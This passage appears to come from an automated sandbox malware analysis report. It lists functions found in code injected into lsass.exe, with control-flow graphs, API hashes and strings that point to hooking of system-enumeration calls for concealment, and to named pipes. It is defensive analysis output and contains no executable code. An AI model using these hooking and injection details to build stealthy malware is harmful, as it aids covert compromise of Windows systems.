                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511896
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15118A0
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CloseOpen$HeapSleep$AllocProcess
                                                                • String ID:
                                                                • API String ID: 1534210851-0
                                                                • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction ID: fabcacca4273e522b4c4af737a3624ee53845b919a9d6f50b07f832e41c12ee0
                                                                • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction Fuzzy Hash: 4A31BDE1210E4599EF529F36F6CD3A923A5BB44BD0F0854679E0FA7E95EE1CCC51C210
                                                                Function 000002D6F14E273C Relevance: 1.7, APIs: 1, Instructions: 187libraryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 229 2d6f14e273c-2d6f14e27a4 call 2d6f14e29d4 * 4 238 2d6f14e29b2 229->238 239 2d6f14e27aa-2d6f14e27ad 229->239 240 2d6f14e29b4-2d6f14e29d0 238->240 239->238 241 2d6f14e27b3-2d6f14e27b6 239->241 241->238 242 2d6f14e27bc-2d6f14e27bf 241->242 242->238 243 2d6f14e27c5-2d6f14e27e6 242->243 243->238 245 2d6f14e27ec-2d6f14e280c 243->245 246 2d6f14e280e-2d6f14e2836 245->246 247 2d6f14e2838-2d6f14e283f 245->247 246->246 246->247 248 2d6f14e2845-2d6f14e2852 247->248 249 2d6f14e28df-2d6f14e28e6 247->249 248->249 250 2d6f14e2858-2d6f14e286a LoadLibraryA 248->250 251 2d6f14e2992-2d6f14e29b0 249->251 252 2d6f14e28ec-2d6f14e2901 249->252 254 2d6f14e286c-2d6f14e2878 250->254 255 2d6f14e28ca-2d6f14e28d2 250->255 251->240 252->251 253 2d6f14e2907 252->253 256 2d6f14e290d-2d6f14e2921 253->256 257 2d6f14e28c5-2d6f14e28c8 254->257 255->250 258 2d6f14e28d4-2d6f14e28d9 255->258 260 2d6f14e2982-2d6f14e298c 256->260 261 2d6f14e2923-2d6f14e2934 256->261 257->255 262 2d6f14e287a-2d6f14e287d 257->262 258->249 260->251 260->256 264 2d6f14e293f-2d6f14e2943 261->264 265 2d6f14e2936-2d6f14e293d 261->265 266 2d6f14e287f-2d6f14e28a5 262->266 267 2d6f14e28a7-2d6f14e28b7 262->267 269 2d6f14e2945-2d6f14e294b 264->269 270 2d6f14e294d-2d6f14e2951 264->270 268 2d6f14e2970-2d6f14e2980 265->268 271 2d6f14e28ba-2d6f14e28c1 266->271 267->271 268->260 268->261 269->268 272 2d6f14e2963-2d6f14e2967 270->272 273 2d6f14e2953-2d6f14e2961 270->273 271->257 272->268 275 2d6f14e2969-2d6f14e296c 272->275 273->268 275->268
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: LibraryLoad
                                                                • String ID:
                                                                • API String ID: 1029625771-0
                                                                • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction ID: 2a527126fa6660018da58d358d37c763bfb819c27c69be159df49911753554d9
                                                                • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction Fuzzy Hash: BB61D472B01A908BDB54CF15A44CB2D7392FB94BE4F58912ADE5A07B8CDA3CDD52C700

                                                                Non-executed Functions

                                                                Function 000002D6F1512B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 482 2d6f1512b2c-2d6f1512ba5 call 2d6f1532ce0 485 2d6f1512bab-2d6f1512bb1 482->485 486 2d6f1512ee0-2d6f1512f03 482->486 485->486 487 2d6f1512bb7-2d6f1512bba 485->487 487->486 488 2d6f1512bc0-2d6f1512bc3 487->488 488->486 489 2d6f1512bc9-2d6f1512bd9 GetModuleHandleA 488->489 490 2d6f1512bdb-2d6f1512beb call 2d6f1526090 489->490 491 2d6f1512bed 489->491 493 2d6f1512bf0-2d6f1512c0e 490->493 491->493 493->486 496 2d6f1512c14-2d6f1512c33 StrCmpNIW 493->496 496->486 497 2d6f1512c39-2d6f1512c3d 496->497 497->486 498 2d6f1512c43-2d6f1512c4d 497->498 498->486 499 2d6f1512c53-2d6f1512c5a 498->499 499->486 500 2d6f1512c60-2d6f1512c73 499->500 501 2d6f1512c83 500->501 502 2d6f1512c75-2d6f1512c81 500->502 503 2d6f1512c86-2d6f1512c8a 501->503 502->503 504 2d6f1512c9a 503->504 505 2d6f1512c8c-2d6f1512c98 503->505 506 2d6f1512c9d-2d6f1512ca7 504->506 505->506 507 2d6f1512d9d-2d6f1512da1 506->507 508 2d6f1512cad-2d6f1512cb0 506->508 509 2d6f1512da7-2d6f1512daa 507->509 510 2d6f1512ed2-2d6f1512eda 507->510 511 2d6f1512cc2-2d6f1512ccc 508->511 512 2d6f1512cb2-2d6f1512cbf call 2d6f151199c 508->512 513 2d6f1512dbb-2d6f1512dc5 509->513 514 2d6f1512dac-2d6f1512db8 call 2d6f151199c 509->514 510->486 510->500 516 2d6f1512cce-2d6f1512cdb 511->516 517 2d6f1512d00-2d6f1512d0a 511->517 512->511 519 2d6f1512dc7-2d6f1512dd4 513->519 520 2d6f1512df5-2d6f1512df8 513->520 514->513 516->517 522 2d6f1512cdd-2d6f1512cea 516->522 523 2d6f1512d3a-2d6f1512d3d 517->523 524 2d6f1512d0c-2d6f1512d19 517->524 519->520 528 2d6f1512dd6-2d6f1512de3 519->528 529 2d6f1512dfa-2d6f1512e03 call 2d6f1511bbc 520->529 530 2d6f1512e05-2d6f1512e12 lstrlenW 520->530 531 2d6f1512ced-2d6f1512cf3 522->531 526 2d6f1512d4b-2d6f1512d58 lstrlenW 523->526 527 2d6f1512d3f-2d6f1512d49 call 2d6f1511bbc 523->527 524->523 532 2d6f1512d1b-2d6f1512d28 524->532 535 2d6f1512d7b-2d6f1512d8d call 2d6f1513844 526->535 536 2d6f1512d5a-2d6f1512d64 526->536 527->526 540 2d6f1512d93-2d6f1512d98 527->540 537 2d6f1512de6-2d6f1512dec 528->537 529->530 547 2d6f1512e4a-2d6f1512e55 529->547 541 2d6f1512e35-2d6f1512e3f call 2d6f1513844 530->541 542 2d6f1512e14-2d6f1512e1e 530->542 539 2d6f1512cf9-2d6f1512cfe 531->539 531->540 533 2d6f1512d2b-2d6f1512d31 532->533 533->540 543 2d6f1512d33-2d6f1512d38 533->543 535->540 551 2d6f1512e42-2d6f1512e44 535->551 536->535 546 2d6f1512d66-2d6f1512d79 call 2d6f151152c 536->546 537->547 548 2d6f1512dee-2d6f1512df3 537->548 539->517 539->531 540->551 541->551 542->541 552 2d6f1512e20-2d6f1512e33 call 2d6f151152c 542->552 543->523 543->533 546->535 546->540 555 2d6f1512e57-2d6f1512e5b 547->555 556 2d6f1512ecc-2d6f1512ed0 547->556 548->520 548->537 551->510 551->547 552->541 552->547 560 2d6f1512e5d-2d6f1512e61 555->560 561 2d6f1512e63-2d6f1512e7d call 2d6f15185c0 555->561 556->510 560->561 563 2d6f1512e80-2d6f1512e83 560->563 561->563 566 2d6f1512ea6-2d6f1512ea9 563->566 567 2d6f1512e85-2d6f1512ea3 call 2d6f15185c0 563->567 566->556 568 2d6f1512eab-2d6f1512ec9 call 2d6f15185c0 566->568 567->566 568->556
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                                                • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                                                • API String ID: 2119608203-3850299575
                                                                • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                                                • Instruction ID: e52bf68b31deb3b75f098f43a4d7db34dffa5d04e032c03eec0775e701bb4258
                                                                • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                                                • Instruction Fuzzy Hash: B0B17CA2210E908EEB668F25E44C7A963A5F744BD4F64511BEE0E67F94DF38CC81C740
                                                                Function 000002D6F1517D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                • String ID:
                                                                • API String ID: 3140674995-0
                                                                • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                                                • Instruction ID: 2c2ab99ae258e3bf0c478ecf6a228b1e325b8175137ff9dca730b23599cdb4cd
                                                                • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                                                • Instruction Fuzzy Hash: 97311AB2205E808AEB609F64F8887ED7364F785788F44442ADA4E57B95EF38CA48C710
                                                                Function 000002D6F151D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                • String ID:
                                                                • API String ID: 1239891234-0
                                                                • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                                                • Instruction ID: 58eb25c51ad3c38e9823b02ddc7af6a39282a3411e5fadb664d5dd80ce479239
                                                                • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                                                • Instruction Fuzzy Hash: BB315D76214F808AEB60CF25F88839E73A4F789794F500126EA9E57B99DF3CC945CB00
                                                                Function 000002D6F15112BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                                                • String ID: d
                                                                • API String ID: 2005889112-2564639436
                                                                • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction ID: 5fb3b21df960b81225b638196f68b2da2c963b60e6c4826c36aa05b26c7c4fc2
                                                                • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction Fuzzy Hash: B95115B6200B848AEB55CF62F54C35AA7A1F789FD9F144126DE4A07B58DF3CD849CB00
                                                                Function 000002D6F1511D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread$AddressHandleModuleProc
                                                                • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                                                • API String ID: 4175298099-1975688563
                                                                • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                                                • Instruction ID: acd4e2c9eb3dd1a9bb1b7a25fe6521af63330346e6cf64fc31cecd724e9f3874
                                                                • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                                                • Instruction Fuzzy Hash: C83162E9110E8AA8EE06EFA5F8AE6D46321B7143C4F905017981F23D75DF7C8E4AC760
                                                                Function 000002D6F14E6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 324 2d6f14e6910-2d6f14e6916 325 2d6f14e6951-2d6f14e695b 324->325 326 2d6f14e6918-2d6f14e691b 324->326 327 2d6f14e6a78-2d6f14e6a8d 325->327 328 2d6f14e6945-2d6f14e6984 call 2d6f14e6fc0 326->328 329 2d6f14e691d-2d6f14e6920 326->329 333 2d6f14e6a8f 327->333 334 2d6f14e6a9c-2d6f14e6ab6 call 2d6f14e6e54 327->334 347 2d6f14e6a52 328->347 348 2d6f14e698a-2d6f14e699f call 2d6f14e6e54 328->348 331 2d6f14e6922-2d6f14e6925 329->331 332 2d6f14e6938 __scrt_dllmain_crt_thread_attach 329->332 338 2d6f14e6931-2d6f14e6936 call 2d6f14e6f04 331->338 339 2d6f14e6927-2d6f14e6930 331->339 336 2d6f14e693d-2d6f14e6944 332->336 340 2d6f14e6a91-2d6f14e6a9b 333->340 345 2d6f14e6aef-2d6f14e6b20 call 2d6f14e7190 334->345 346 2d6f14e6ab8-2d6f14e6aed call 2d6f14e6f7c call 2d6f14e6e1c call 2d6f14e7318 call 2d6f14e7130 call 2d6f14e7154 call 2d6f14e6fac 334->346 338->336 356 2d6f14e6b22-2d6f14e6b28 345->356 357 2d6f14e6b31-2d6f14e6b37 345->357 346->340 351 2d6f14e6a54-2d6f14e6a69 347->351 359 2d6f14e69a5-2d6f14e69b6 call 2d6f14e6ec4 348->359 360 2d6f14e6a6a-2d6f14e6a77 call 2d6f14e7190 348->360 356->357 361 2d6f14e6b2a-2d6f14e6b2c 356->361 362 2d6f14e6b7e-2d6f14e6b94 call 2d6f14e268c 357->362 363 2d6f14e6b39-2d6f14e6b43 357->363 378 2d6f14e69b8-2d6f14e69dc call 2d6f14e72dc call 2d6f14e6e0c call 2d6f14e6e38 call 2d6f14eac0c 359->378 379 2d6f14e6a07-2d6f14e6a11 call 2d6f14e7130 359->379 360->327 367 2d6f14e6c1f-2d6f14e6c2c 361->367 381 2d6f14e6bcc-2d6f14e6bce 362->381 382 2d6f14e6b96-2d6f14e6b98 362->382 368 2d6f14e6b45-2d6f14e6b4d 363->368 369 2d6f14e6b4f-2d6f14e6b5d call 2d6f14f5780 363->369 375 2d6f14e6b63-2d6f14e6b78 call 2d6f14e6910 368->375 369->375 391 2d6f14e6c15-2d6f14e6c1d 369->391 375->362 375->391 378->379 427 2d6f14e69de-2d6f14e69e5 __scrt_dllmain_after_initialize_c 378->427 379->347 400 2d6f14e6a13-2d6f14e6a1f call 2d6f14e7180 379->400 389 2d6f14e6bd5-2d6f14e6bea call 2d6f14e6910 381->389 390 2d6f14e6bd0-2d6f14e6bd3 381->390 382->381 388 2d6f14e6b9a-2d6f14e6bbc call 2d6f14e268c call 2d6f14e6a78 382->388 388->381 421 2d6f14e6bbe-2d6f14e6bc6 call 2d6f14f5780 388->421 389->391 409 2d6f14e6bec-2d6f14e6bf6 389->409 390->389 390->391 391->367 411 2d6f14e6a45-2d6f14e6a50 400->411 412 2d6f14e6a21-2d6f14e6a2b call 2d6f14e7098 400->412 415 2d6f14e6c01-2d6f14e6c11 call 2d6f14f5780 409->415 416 2d6f14e6bf8-2d6f14e6bff 409->416 411->351 412->411 426 2d6f14e6a2d-2d6f14e6a3b 412->426 415->391 416->391 421->381 426->411 427->379 428 2d6f14e69e7-2d6f14e6a04 call 2d6f14eabc8 427->428 428->379
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                                                • API String ID: 190073905-1786718095
                                                                • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction ID: a6791069ef224389268787c1cde3096a7f5d96d964d78a2d6507250396e19ec1
                                                                • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction Fuzzy Hash: A681EF61A00E018EFA54EB66B44D3A966E1ABC57C0F54812B9A1B47F9FDF3CCE458B00
                                                                Function 000002D6F151CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                • GetLastError.KERNEL32 ref: 000002D6F151CE37
                                                                • FlsGetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CE4C
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CE6D
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CE9A
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CEAB
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CEBC
                                                                • SetLastError.KERNEL32 ref: 000002D6F151CED7
                                                                • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF0D
                                                                • FlsSetValue.KERNEL32(?,?,00000001,000002D6F151ECCC,?,?,?,?,000002D6F151BF9F,?,?,?,?,?,000002D6F1517AB0), ref: 000002D6F151CF2C
                                                                  • Part of subcall function 000002D6F151D6CC: HeapAlloc.KERNEL32 ref: 000002D6F151D721
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF54
                                                                  • Part of subcall function 000002D6F151D744: HeapFree.KERNEL32 ref: 000002D6F151D75A
                                                                  • Part of subcall function 000002D6F151D744: GetLastError.KERNEL32 ref: 000002D6F151D764
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF65
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CF76
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Value$ErrorLast$Heap$AllocFree
                                                                • String ID:
                                                                • API String ID: 570795689-0
                                                                • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                                                • Instruction ID: cbe95e8add907aa0b2c73cf7f4231efe5140574644f478dc5db001f93a5baefd
                                                                • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                                                • Instruction Fuzzy Hash: C4410EE0301E444EFE6BAF35755E36962429B447F0F240B27A93F6AED6DE2DDC418600
                                                                Function 000002D6F1512244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                                                • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                                                • API String ID: 2171963597-1373409510
                                                                • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                                                • Instruction ID: 16cc91b0a522ba52fd30a106300581a7bfe1bf7e397ef6e488c8d9df07b3eb6a
                                                                • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                                                • Instruction Fuzzy Hash: 44212CB6614B8086FB108B25F44C76A77A1F789BE5F504216EA5E03FA8DF7CC949CB00
                                                                Function 000002D6F14E9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 582 2d6f14e9944-2d6f14e99ac call 2d6f14ea814 585 2d6f14e99b2-2d6f14e99b5 582->585 586 2d6f14e9e13-2d6f14e9e1b call 2d6f14ebb48 582->586 585->586 587 2d6f14e99bb-2d6f14e99c1 585->587 589 2d6f14e9a90-2d6f14e9aa2 587->589 590 2d6f14e99c7-2d6f14e99cb 587->590 592 2d6f14e9d63-2d6f14e9d67 589->592 593 2d6f14e9aa8-2d6f14e9aac 589->593 590->589 594 2d6f14e99d1-2d6f14e99dc 590->594 597 2d6f14e9da0-2d6f14e9daa call 2d6f14e8a34 592->597 598 2d6f14e9d69-2d6f14e9d70 592->598 593->592 595 2d6f14e9ab2-2d6f14e9abd 593->595 594->589 596 2d6f14e99e2-2d6f14e99e7 594->596 595->592 599 2d6f14e9ac3-2d6f14e9aca 595->599 596->589 600 2d6f14e99ed-2d6f14e99f7 call 2d6f14e8a34 596->600 597->586 608 2d6f14e9dac-2d6f14e9dcb call 2d6f14e6d40 597->608 598->586 601 2d6f14e9d76-2d6f14e9d9b call 2d6f14e9e1c 598->601 604 2d6f14e9c94-2d6f14e9ca0 599->604 605 2d6f14e9ad0-2d6f14e9b07 call 2d6f14e8e10 599->605 600->608 616 2d6f14e99fd-2d6f14e9a28 call 2d6f14e8a34 * 2 call 2d6f14e9124 600->616 601->597 604->597 609 2d6f14e9ca6-2d6f14e9caa 604->609 605->604 620 2d6f14e9b0d-2d6f14e9b15 605->620 613 2d6f14e9cac-2d6f14e9cb8 call 2d6f14e90e4 609->613 614 2d6f14e9cba-2d6f14e9cc2 609->614 613->614 626 2d6f14e9cdb-2d6f14e9ce3 613->626 614->597 619 2d6f14e9cc8-2d6f14e9cd5 call 2d6f14e8cb4 614->619 650 2d6f14e9a2a-2d6f14e9a2e 616->650 651 2d6f14e9a48-2d6f14e9a52 call 2d6f14e8a34 616->651 619->597 619->626 624 2d6f14e9b19-2d6f14e9b4b 620->624 628 2d6f14e9b51-2d6f14e9b5c 624->628 629 2d6f14e9c87-2d6f14e9c8e 624->629 631 2d6f14e9ce9-2d6f14e9ced 626->631 632 2d6f14e9df6-2d6f14e9e12 call 2d6f14e8a34 * 2 call 2d6f14ebaa8 626->632 628->629 633 2d6f14e9b62-2d6f14e9b7b 628->633 629->604 629->624 635 2d6f14e9d00 631->635 636 2d6f14e9cef-2d6f14e9cfe call 2d6f14e90e4 631->636 632->586 637 2d6f14e9c74-2d6f14e9c79 633->637 638 2d6f14e9b81-2d6f14e9bc6 call 2d6f14e90f8 * 2 633->638 643 2d6f14e9d03-2d6f14e9d0d call 2d6f14ea8ac 635->643 636->643 645 2d6f14e9c84 637->645 663 2d6f14e9c04-2d6f14e9c0a 638->663 664 2d6f14e9bc8-2d6f14e9bee call 2d6f14e90f8 call 2d6f14ea038 638->664 643->597 661 2d6f14e9d13-2d6f14e9d61 call 2d6f14e8d44 call 2d6f14e8f50 643->661 645->629 650->651 655 2d6f14e9a30-2d6f14e9a3b 650->655 651->589 667 2d6f14e9a54-2d6f14e9a74 call 2d6f14e8a34 * 2 call 2d6f14ea8ac 651->667 655->651 660 2d6f14e9a3d-2d6f14e9a42 655->660 660->586 660->651 661->597 671 2d6f14e9c0c-2d6f14e9c10 663->671 672 2d6f14e9c7b 663->672 682 2d6f14e9c15-2d6f14e9c72 call 2d6f14e9870 664->682 683 2d6f14e9bf0-2d6f14e9c02 664->683 688 2d6f14e9a8b 667->688 689 2d6f14e9a76-2d6f14e9a80 call 2d6f14ea99c 667->689 671->638 673 2d6f14e9c80 672->673 673->645 682->673 683->663 683->664 688->589 692 2d6f14e9df0-2d6f14e9df5 call 2d6f14ebaa8 689->692 693 2d6f14e9a86-2d6f14e9def call 2d6f14e86ac call 2d6f14ea3f4 call 2d6f14e88a0 689->693 692->632 693->692
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                • String ID: csm$csm$csm
                                                                • API String ID: 849930591-393685449
                                                                • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction ID: d823906c8357baff7e49bf9f9c1525c5136429e0f71f4035b6608ff5472b74b6
                                                                • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction Fuzzy Hash: 11E16C72604B808EEB60DF65E49C39D77A0F795BD8F100516EE8A97F99CB38CA91C700
                                                                Function 000002D6F151A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 703 2d6f151a544-2d6f151a5ac call 2d6f151b414 706 2d6f151a5b2-2d6f151a5b5 703->706 707 2d6f151aa13-2d6f151aa1b call 2d6f151c748 703->707 706->707 708 2d6f151a5bb-2d6f151a5c1 706->708 710 2d6f151a5c7-2d6f151a5cb 708->710 711 2d6f151a690-2d6f151a6a2 708->711 710->711 715 2d6f151a5d1-2d6f151a5dc 710->715 713 2d6f151a6a8-2d6f151a6ac 711->713 714 2d6f151a963-2d6f151a967 711->714 713->714 718 2d6f151a6b2-2d6f151a6bd 713->718 716 2d6f151a969-2d6f151a970 714->716 717 2d6f151a9a0-2d6f151a9aa call 2d6f1519634 714->717 715->711 719 2d6f151a5e2-2d6f151a5e7 715->719 716->707 720 2d6f151a976-2d6f151a99b call 2d6f151aa1c 716->720 717->707 731 2d6f151a9ac-2d6f151a9cb call 2d6f1517940 717->731 718->714 722 2d6f151a6c3-2d6f151a6ca 718->722 719->711 723 2d6f151a5ed-2d6f151a5f7 call 2d6f1519634 719->723 720->717 727 2d6f151a6d0-2d6f151a707 call 2d6f1519a10 722->727 728 2d6f151a894-2d6f151a8a0 722->728 723->731 734 2d6f151a5fd-2d6f151a628 call 2d6f1519634 * 2 call 2d6f1519d24 723->734 727->728 739 2d6f151a70d-2d6f151a715 727->739 728->717 732 2d6f151a8a6-2d6f151a8aa 728->732 736 2d6f151a8ac-2d6f151a8b8 call 